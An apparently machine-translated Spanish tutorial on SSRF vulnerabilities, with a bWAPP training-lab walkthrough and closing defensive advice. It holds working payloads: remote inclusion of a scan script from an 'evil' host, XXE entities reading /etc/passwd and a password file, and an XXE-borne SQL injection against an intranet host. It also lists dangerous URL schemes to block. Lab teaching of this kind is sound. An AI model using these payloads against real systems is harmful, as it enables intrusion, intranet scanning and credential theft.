Vulnerabilidad de falsificación de solicitudes del lado del servidor de la SSRF
principio:
SSRF (Falsificación de solicitudes del lado del servidor: Falsificación de solicitudes del lado del servidor) es una laguna de seguridad construida por un atacante para formar una solicitud iniciada por el servidor. En general, SSRF es el sistema interno del sitio web de destino. (Debido a que se accede desde el sistema interno, todos los sistemas internos a los que la red externa no puede acceder pueden ser atacados a través de él, es decir, el sitio web de destino se utiliza como intermediario)
El motivo de la formación de SSRF
se debe principalmente a que el servidor proporciona la función de obtener datos de otras aplicaciones del servidor y no filtra ni restringe la dirección de destino. Por ejemplo, obtenga el contenido de texto de una página web de una dirección URL específica, cargue imágenes y documentos en una dirección específica, etc.
Análisis de principio: La
vulnerabilidad SSRF consiste en enviar una solicitud para obtener recursos mediante la manipulación del servidor, pero el servidor no detecta si la solicitud es legal y luego el servidor accede a los recursos de otros servidores en su identidad.
Ataques que se pueden lograr usando ssrf
1. Puede escanear la red externa, la red interna donde se encuentra el servidor y el puerto local para obtener la información del banner de algunos servicios;
2. Atacar la aplicación que se ejecuta en la red interna o local (como desbordamiento);
3. Las aplicaciones web de Internet realizan la identificación de huellas dactilares internas accediendo a archivos predeterminados;
4. Los ataques a aplicaciones web en redes internas y externas son principalmente ataques que se pueden lograr utilizando parámetros get (como struts2, sqli , etc.);
5. Utilice el protocolo de archivo para leer archivos locales, etc.
Experimento de prueba SSRF
Aquí usamos el campo de tiro ssrf en bwapp
Utilice la inclusión de archivos remotos para el escaneo de puertos
1. Utilice bee / bug para iniciar sesión, seleccione bajo al iniciar sesión y seleccione el rango de disparo SSRF después de iniciar sesión.
2. Después de hacer clic en Hack, ingrese a la siguiente página. La SSRF en bWAPP ofrece 3 pequeños experimentos para ilustrar los escenarios de uso de SSRF:
Tarea 1: usar la inclusión de archivos remotos para el escaneo de puertos (detección de intranet)
Tarea 2: Utilice XXE para obtener el contenido de archivos sensibles (lectura de archivos)
Tarea 3: Utilice XXE para aprovechar la vulnerabilidad de denegación de servicio de SmartTV (explotación de vulnerabilidades)
3. Haga clic en Exploración de puertos en la Tarea 1 para obtener un script de ataque de exploración de puertos.
http://192.168.1.4:81/bwapp/evil/ssrf-1.txt, solo necesitas incluir el script y solicitar que el parámetro IP sea el host correspondiente. El siguiente paso es usar la vulnerabilidad de inclusión de archivos remotos en bWAPP y ejecute el script del puerto escaneado.
4. Elija el nivel de seguridad de Inclusión de archivos local y remota (RFI / LFI) o bajo en Elija su error, y luego haga clic en Hack.
5. Luego de ingresar al experimento de Inclusión de Archivos Remotos y Locales (RFI / LFI), vi que hay un módulo de función para seleccionar el idioma, ejecutarlo directamente, observar los parámetros en la solicitud Get y encontrar que es un típico problema de inclusión de archivos, idioma = lang_en.php
Solicitud GET: http://192.168.1.4/bWAPP/rlfi.php?language=lang_en.php&action=go
6. Utilice el siguiente PAYLOAD para incluir y ejecutar de forma remota el script de escaneo para detectar los puertos y servicios del host de la intranet.
POST: http://192.168.1.4/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
DATOS POST: ip = 192.168.10.1
aquí http: // xxx.xxx.xxx/ es la dirección de acceso del script de escaneo, 192.168.10.1 es la dirección del host de destino que se escaneará y la dirección no es accesible para el host xxx.xxx.xxx, por lo que es conveniente ver y distinguir el envío de la solicitud posterior a escanear La IP del host de destino y el resultado se devolverá después de que finalice el escaneo.
Utilice XXE para obtener el contenido de archivos confidenciales
Primero haga clic en Acceso en la Tarea 2 para obtener el script de XXE: http://xxx.xxx.xxx/bWAPP/xxe-1.php, luego acceda al entorno de exploración XML External Entity Attacks (XXE), use burpSuite para capturar el paquete y envíelo Prueba en el repetidor.
Utilice el protocolo http para obtener el contenido de /bWAPP/robots.txt.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root1 [
<!ENTITY bWAPP SYSTEM
"http://localhost/1/bwapp/robots.txt">
]>
<reset>
<login>&bWAPP;</login>
<secret>blah</secret>
</reset>
php: //filter/read=convert.base64-encode/resource=http: //192.168.0.67/1/bwapp/passwords/heroes.xml
Utilice el protocolo php para obtener el código base64 en / bWAPP / passwords / heroes .xml Los datos.
Utilice el protocolo de archivo para obtener el contenido de / etc / passwd de la máquina bWAPP.
Utilice XXE para la inyección de SQL en la intranet
Utilice XXE para la inyección de SQL en la intranet)
Esta tarea es aprovechar las vulnerabilidades de la inyección de SQL en los sitios de la intranet . Por ejemplo, si hay una vulnerabilidad de inyección en el host 192.168.163.150, puede enviar la siguiente carga útil para usar SSRF para explotar las vulnerabilidades de SQL. Por supuesto, también puede explotar vulnerabilidades como Struts2.
1.<?xml version=”1.0″ encoding=”utf-8″?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>
Método de protección SSRF
1. Medidas de protección
(lista negra)
(1) Filtro 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, dirección privada de localhost, dirección IPv6
(2) Archivo de filtro: ///, dict: //, Gopher: //, ftp: // esquema peligroso
(3) Identificar el contenido devuelto
(4) Habilitar la autenticación para los servicios de intranet (Memcached, Redis, Elasticsearch y MongoDB)
2. Mejor protección
(1) Usar la lista blanca de direcciones
(2) Identificar el contenido devuelto
(3) Necesita usar recursos de Internet (como el uso de imágenes en línea en la barra de publicaciones) pero no puede usar la lista blanca: primero deshabilite CURLOPT_FOLLOWLOCATION; luego obtenga la IP de destino a través del nombre de dominio y filtre la IP interna; finalmente Identificar la devolución ¿El contenido es coherente con el contenido asumido?